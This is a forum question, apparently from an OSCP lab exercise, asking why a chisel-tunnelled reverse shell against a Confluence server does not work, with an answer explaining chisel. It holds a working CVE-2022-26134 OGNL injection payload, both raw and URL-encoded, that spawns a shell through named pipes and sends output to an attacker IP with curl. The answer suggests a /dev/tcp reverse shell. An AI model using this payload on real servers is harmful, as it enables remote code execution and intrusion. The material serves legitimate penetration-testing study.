My lab has these restrictions:
1. Inbound and Outbound HTTP connections are allowed from CONFLUENCE01.
2. For Non-HTTP connections, only inbound TCP is allowed at port 8090 of CONFLUENCE01.
3. CONFLUENCE01 cannot open new WAN ports.
Hence, I tried to exploit named pipes to start a reverse shell on CONFLUENCE01 using chisel:
cve-2022-26134_chisel_reverse_payload.txt
http://192.168.226.63:8090/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','rm -f /tmp/in /tmp/out; mkfifo /tmp/in /tmp/out; /bin/sh -i < /tmp/in > /tmp/out 2>&1 & /tmp/chisel client 192.168.45.249:8090 R:4444:192.168.45.249:9999 > /tmp/in; curl --data @/tmp/out http://192.168.45.249:9999').start()")}/
┌──(kali㉿kali)-[~/Desktop/OSCP/Modules/Tunneling Through Deep Packet Inspection]
└─$ cat cve-2022-26134_chisel_reverse_payload.txt | python3 urlencode_special.py
http://192.168.226.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27rm%20-f%20/tmp/in%20/tmp/out%3B%20mkfifo%20/tmp/in%20/tmp/out%3B%20/bin/sh%20-i%20%3C%20/tmp/in%20%3E%20/tmp/out%202%3E%261%20%26%20/tmp/chisel%20client%20192.168.45.249:8090%20R:4444:192.168.45.249:9999%20%3E%20/tmp/in%3B%20curl%20--data%20%40/tmp/out%20http://192.168.45.249:9999%27%29.start%28%29%22%29%7D/
┌──(kali㉿kali)-[~/Desktop/OSCP/Modules/Tunneling Through Deep Packet Inspection]
└─$ curl http://192.168.226.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27rm%20-f%20/tmp/in%20/tmp/out%3B%20mkfifo%20/tmp/in%20/tmp/out%3B%20/bin/sh%20-i%20%3C%20/tmp/in%20%3E%20/tmp/out%202%3E%261%20%26%20/tmp/chisel%20client%20192.168.45.249:8090%20R:4444:192.168.45.249:9999%20%3E%20/tmp/in%3B%20curl%20--data%20%40/tmp/out%20http://192.168.45.249:9999%27%29.start%28%29%22%29%7D/
However, instead of getting a reverse shell, I simply get an echo of the commands I run:
┌──(kali㉿kali)-[~/Desktop/OSCP/Modules/Tunneling Through Deep Packet Inspection]
└─$ nc -nvv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
whoami
fuck
whoami
┌──(kali㉿kali)-[~/Desktop/OSCP/Modules/Tunneling Through Deep Packet Inspection]
└─$ nc -nvlp 9999
listening on [any] 9999 ...
connect to [192.168.45.249] from (UNKNOWN) [192.168.226.63] 43162
whoami
fuck
whoami
Why aren't commands I send from nc -nvv 127.0.0.1 4444 being executed and returned by /bin/sh -i of CONFLUENCE01? Am I using incorrect syntax or is this logically impossible? My ultimate goal is to wrap a normally TCP reverse shell into a fully HTTP reverse shell using Chisel.
chiselmakes no sense to me. Chisel creates listening sockets on the client or the server (if you useR:) and will forward the connection and data through HTTP to the other peer (to the server if noR, to the client otherwise). You don't need to use pipes or curl. It's like an SSH tunnel, but through HTTP. So make bash use a TCP socket for IO (i.e./dev/tcp/127.0.0.1/XXXX) then run chisel to forward that connection to the remote host where the chisel server is running. At the point usencto connect to the local (from the server pov) socket.